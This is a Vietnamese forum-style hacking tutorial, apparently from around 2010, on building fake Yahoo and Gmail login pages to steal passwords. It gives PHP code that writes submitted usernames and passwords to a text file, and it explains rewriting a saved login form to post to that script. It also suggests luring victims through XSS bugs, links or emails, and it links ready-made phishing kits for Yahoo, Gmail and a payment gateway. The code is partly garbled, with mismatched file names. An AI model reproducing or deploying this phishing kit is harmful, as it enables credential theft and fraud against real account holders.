[Hacking] Hướng dẫn làm trang yahoo giả mạo lừa lấy mật khẩu

- Hôm vừa rồi có ghé thăm web trường thấy có bị dính bug XSS nhìu wa' ... thức khuya coi trận tứ kết Cúp C1 2010 MU-Bayer ko bi'k làm chi rãnh mu'c cái bug XSS fa' chơi (mai mang con lap về mình sẽ làm cái video cho các bạn xem nhé, giờ máy PC nặng quá chạy k nổi)

- Nhân tiện đây mình cũng xin hướng dẫn các bạn cách làm trang đăng nhập yahoo,gmail... giả mạo để lừa lấy mật khẩu ...

- Còn làm sao để người ta đăng nhập bằng trang yahoo mạo đó thì do bạn: lợi dụng bug xss, hay gởi link đến nạn nhân dụ dỗ, hay email ... tùy ứng của bạn

- Yêu cầu của mình là khi bạn đọc hướng dẫn bạn làm theo và bạn phải hiểu vấn đề vì sao phải làm thế này thế kia :)

- Cái này thì cũ ri'c từ thời Hùng Vương đến giờ rùi, nhưng đôi lúc vẫn cần va't ra sử dụng đó ... Đồ cũ mà lại hiếm và hay nhìu người ko để ý.

1/ Đầu tiên mở notepad gõ vào nội dung sau:

$now = date("H:i:s Y-m-d");
$ten = $_POST['login'];
$matkhau = $_POST['passwd'];
$f=fopen("yahoo_.txt","a");
fwrite($f," $now ---- User: $ten ---- Pass: $matkhau ----\n");
fclose($f);
?>
<><>
<>location.href="http://mail.yahoo.com"< / script >
< /body>< / html>

Lưu lại với tên yahoo.php

2/ Tạo thêm 1 file y.txt với nội dung trống rỗng nữa
3/ Vào trang mail.yahoo.com save as toàn bộ trang web lại
- Mở file htm lên bằng wordpad hoặc bằng trình soạn thảo nào đó như Notepad, Notepad++,EditPlus...
Tìm dòng:

< method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form" onsubmit="return hash2(this)">

Và thay thế vào đó

< form name="login_form" action="y.php" method="post">

4/ Bây giờ bạn chỉ cần up lên host (host hỗ trợ php). Và CHMOD file y.txt là 777
5/ Xong...

+++ Ngoài ra các bạn có thể giả mạo form đăng nhập bất kì site nào bằng cách tương tự như trên

- Code làm sẵn fake đăng nhập yahoo:
http://www.mediafire.com/?mm2wtzicikq

- Code làm sẵn fake đăng nhập gmail:
http://www.mediafire.com/?wtz1umiiyyk

- Code làm sẵn fake đăng nhập paygate.vtc.vn:
http://www.mediafire.com/?nwwegjzqzjh

reflink: http://vn.360plus.yahoo.com/romeo_nhonguoi_2012/article?mid=61